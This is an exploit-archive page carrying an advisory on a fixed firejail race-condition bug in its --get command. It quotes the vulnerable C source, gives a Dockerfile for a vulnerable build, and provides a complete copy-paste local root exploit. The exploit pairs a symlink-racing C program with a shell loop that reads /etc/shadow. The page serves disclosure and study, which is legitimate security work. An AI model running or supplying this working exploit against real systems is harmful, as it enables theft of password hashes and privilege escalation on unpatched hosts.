exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Firejail Privilege Escalation

Firejail Privilege Escalation
Posted Jan 12, 2017
Authored by Daniel Hodson

Firejail suffers from a privilege escalation vulnerability.

tags | exploit
SHA-256 | c685e843415e63d8aeb7bb70240df4de17ccde2223dffc20dc2c1c6717219dfb

Firejail Privilege Escalation

Change Mirror Download
# firejail advisory for TOCTOU in --get and --put (local root)

Releasing a brief advisory/writeup about a local root privesc found in firejail that we reported back in Nov, 2016. This is in response to a recent [thread](http://seclists.org/oss-sec/2017/q1/20) on oss-sec where people seem interested in details of firejail security issues. This particular vulnerability was fixed in commit [e152e2d](https://github.com/netblue30/firejail/commit/e152e2d067e17be33c7e82ce438c8ae740af6a66) but no CVE was assigned.

## Vulnerability

This is a TOCTOU (race condition) bug when testing access permissions with access() and then calling copy_file(). At the time of discovery, it was clear the code suffered from many insecure coding constructs like this and much more -- but there was no guideline around making security related bug reports (other than using the public issue tracker).

### Code: src/firejail/ls.c
~~~
void sandboxfs(int op, pid_t pid, const char *path) {
EUID_ASSERT();

// if the pid is that of a firejail process, use the pid of the first child process
EUID_ROOT();
char *comm = pid_proc_comm(pid);
EUID_USER();
if (comm) {
if (strcmp(comm, "firejail") == 0) {
pid_t child;
if (find_child(pid, &child) == 0) {
pid = child;
}
}
free(comm);
}

// check privileges for non-root users
uid_t uid = getuid();
if (uid != 0) {
uid_t sandbox_uid = pid_get_uid(pid);
if (uid != sandbox_uid) {
fprintf(stderr, "Error: permission denied.\n");
exit(1);
}
}

// full path or file in current directory?
char *fname;
if (*path == '/') {
fname = strdup(path);
if (!fname)
errExit("strdup");
}
else if (*path == '~') {
if (asprintf(&fname, "%s%s", cfg.homedir, path + 1) == -1)
errExit("asprintf");
}
else {
fprintf(stderr, "Error: Cannot access %s\n", path);
exit(1);
}

// sandbox root directory
char *rootdir;
if (asprintf(&rootdir, "/proc/%d/root", pid) == -1)
errExit("asprintf");

if (op == SANDBOX_FS_LS) {
EUID_ROOT();
// chroot
if (chroot(rootdir) < 0)
errExit("chroot");
if (chdir("/") < 0)
errExit("chdir");

// access chek is performed with the real UID
if (access(fname, R_OK) == -1) {
fprintf(stderr, "Error: Cannot access %s\n", fname);
exit(1);
}

// list directory contents
struct stat s;
if (stat(fname, &s) == -1) {
fprintf(stderr, "Error: Cannot access %s\n", fname);
exit(1);
}
if (S_ISDIR(s.st_mode)) {
char *rp = realpath(fname, NULL);
if (!rp) {
fprintf(stderr, "Error: Cannot access %s\n", fname);
exit(1);
}
if (arg_debug)
printf("realpath %s\n", rp);

char *dir;
if (asprintf(&dir, "%s/", rp) == -1)
errExit("asprintf");

print_directory(dir);
free(rp);
free(dir);
}
else {
char *rp = realpath(fname, NULL);
if (!rp) {
fprintf(stderr, "Error: Cannot access %s\n", fname);
exit(1);
}
if (arg_debug)
printf("realpath %s\n", rp);
char *split = strrchr(rp, '/');
if (split) {
*split = '\0';
char *rp2 = split + 1;
if (arg_debug)
printf("path %s, file %s\n", rp, rp2);
print_file_or_dir(rp, rp2, 1);
}
free(rp);
}
}

// get file from sandbox and store it in the current directory
else if (op == SANDBOX_FS_GET) {
// check source file (sandbox)
char *src_fname;
if (asprintf(&src_fname, "%s%s", rootdir, fname) == -1)
errExit("asprintf");
EUID_ROOT();
struct stat s;
if (stat(src_fname, &s) == -1) {
fprintf(stderr, "Error: Cannot access %s\n", fname);
exit(1);
}


// try to open the source file - we need to chroot
pid_t child = fork();
if (child < 0)
errExit("fork");
if (child == 0) {
// chroot
if (chroot(rootdir) < 0)
errExit("chroot");
if (chdir("/") < 0)
errExit("chdir");

// drop privileges
drop_privs(0);

// try to read the file
if (access(fname, R_OK) == -1) {
fprintf(stderr, "Error: Cannot read %s\n", fname);
exit(1);
}
exit(0);
}

// wait for the child to finish
int status = 0;
waitpid(child, &status, 0);
if (WIFEXITED(status) && WEXITSTATUS(status) == 0);
else
exit(1);
EUID_USER();

// check destination file (host)
char *dest_fname = strrchr(fname, '/');
if (!dest_fname || *(++dest_fname) == '\0') {
fprintf(stderr, "Error: invalid file name %s\n", fname);
exit(1);
}

if (access(dest_fname, F_OK) == -1) {
// try to create the file
FILE *fp = fopen(dest_fname, "w");
if (!fp) {
fprintf(stderr, "Error: cannot create %s\n", dest_fname);
exit(1);
}
fclose(fp);
}
else {
if (access(dest_fname, W_OK) == -1) {
fprintf(stderr, "Error: cannot write %s\n", dest_fname);
exit(1);
}
}
// copy file
EUID_ROOT();
copy_file(src_fname, dest_fname, getuid(), getgid(), 0644);
printf("Transfer complete\n");
EUID_USER();
}

free(fname);
free(rootdir);

exit(0);
}
~~~



### Code: src/firejail/util.c
~~~
int copy_file(const char *srcname, const char *destname, uid_t uid, gid_t gid, mode_t mode) {
assert(srcname);
assert(destname);

// open source
int src = open(srcname, O_RDONLY);
if (src < 0) {
fprintf(stderr, "Warning: cannot open %s, file not copied\n", srcname);
return -1;
}

// open destination
int dst = open(destname, O_CREAT|O_WRONLY|O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
if (dst < 0) {
fprintf(stderr, "Warning: cannot open %s, file not copied\n", destname);
close(src);
return -1;
}

// copy
ssize_t len;
static const int BUFLEN = 1024;
unsigned char buf[BUFLEN];
while ((len = read(src, buf, BUFLEN)) > 0) {
int done = 0;
while (done != len) {
int rv = write(dst, buf + done, len - done);
if (rv == -1) {
close(src);
close(dst);
return -1;
}

done += rv;
}
}

if (fchown(dst, uid, gid) == -1)
errExit("fchown");
if (fchmod(dst, mode) == -1)
errExit("fchmod");

close(src);
close(dst);
return 0;
}
</snip>
~~~

## Testing

### Our Dockerfile

~~~
FROM ubuntu:latest

ENV wdir /root/firejail

RUN apt-get update && apt-get install -y git gcc make
RUN useradd -ms /bin/bash daniel && echo "daniel:password" | chpasswd
RUN git clone https://github.com/netblue30/firejail.git ${wdir}
WORKDIR ${wdir}
RUN git reset --hard 81467143ee9c47d9c90e97fb55baf2d47702d372
RUN ./configure && make && make install
~~~

### Our exploit

This will exploit the --get command to read /etc/shadow and print back to the console. Just copy and paste into your shell:

~~~
#dropper
cat > gexp.sh <<GUEST_JAIL_SCRIPT_EOF
mkdir -p /tmp/exploit
cat > /tmp/exploit/gaolbreak.c <<TOCTOU_POC_END
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
char *fl = "/etc/shadow";

if(argc > 1) {
fl = argv[1];
}

while(1) {
int fd = open("owned", O_CREAT | O_RDWR, 0777);
if(fd == -1) {
perror("open");
exit(1);
}
close(fd);
remove("owned");
symlink(fl, "owned");
remove("owned");
}
}
TOCTOU_POC_END
cd /tmp/exploit
gcc ./gaolbreak.c -o gaolbreak
# XXX: change argv[1] to whatever you want
./gaolbreak /etc/shadow
GUEST_JAIL_SCRIPT_EOF

# run the dropper (symlink attack) in a jail
chmod +x ./gexp.sh
firejail --noprofile --force --name=el ./gexp.sh &

# win race using the vulnerable 'firejail --get' command.
mkdir exploitel
cd exploitel
while [ 1 ] ; do nice -n 19 firejail --get=$(pgrep -f '^firejail.*--name=el' -n) /tmp/exploit/owned >/dev/null 2>&1; cat owned 2>/dev/null; done
~~~

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close